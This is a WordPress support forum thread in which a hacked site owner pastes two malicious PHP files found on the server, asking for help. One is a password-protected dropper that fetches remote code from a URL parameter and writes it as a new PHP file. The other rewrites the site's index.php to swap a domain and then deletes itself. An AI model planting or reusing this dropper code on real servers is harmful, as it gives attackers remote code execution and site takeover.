Title: advance cache hack ? !
Last modified: August 20, 2016

---

# advance cache hack ? !

 *  [wolfsteritory](https://wordpress.org/support/users/wolfsteritory/)
 * (@wolfsteritory)
 * [14 years, 10 months ago](https://wordpress.org/support/topic/advance-cache-hack/)
 * it seems i got some new files on my server
    some in wp-content that even if i
   delete them they reapear
 * upd.php
 *     ```
       <?php
       $file = $_GET['file'];
       $pass = $_GET['pass'];
       $true = 'c7e1249ffc03eb9ded908c236bd1996d';
       if ($pass == $true){
   
       $ch = curl_init($file);
       curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
       curl_setopt($ch, CURLOPT_HEADER, 0);
       curl_setopt($ch, CURLOPT_TIMEOUT, 5);
       $shell = curl_exec($ch);
       curl_close($ch);
   
       $tmp = md5(rand(0,10000));
   
       $f = fopen($tmp.'.php',"w");
       fputs($f,$shell);
       fclose($f);
       header("Location: $tmp.php");
       }
       ?>
       ```
   
 * and
    752356ce55e0b436a9027914cb7e18a7.php
 *     ```
       <?php
       $file = __FILE__;
       $pos = strpos($file,'wp-content');
       $dir = substr($file,0,$pos);
       $index = file_get_contents($dir.'index.php');
       $index = str_replace('superpuperdomain.com','superpuperdomain2.com',$index);
       $f = fopen($dir.'index.php',"w");
       fputs($f,$index);
       fclose($f);
       echo 'OK';
       unlink($file);
       ?>
       ```
   
 * – i do use Quick Cache plugin, but i didnt had problems before
 * any ideas ?
 * *i had to do a full server restore because i wasnt able to see any pictures

Viewing 1 replies (of 1 total)

 *  [azn137](https://wordpress.org/support/users/azn137/)
 * (@azn137)
 * [14 years, 10 months ago](https://wordpress.org/support/topic/advance-cache-hack/#post-2232027)
 * read this [http://wordpress.org/support/topic/two-strange-errors](http://wordpress.org/support/topic/two-strange-errors)

Viewing 1 replies (of 1 total)

The topic ‘advance cache hack ? !’ is closed to new replies.

 * 1 reply
 * 2 participants
 * Last reply from: [azn137](https://wordpress.org/support/users/azn137/)
 * Last activity: [14 years, 10 months ago](https://wordpress.org/support/topic/advance-cache-hack/#post-2232027)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
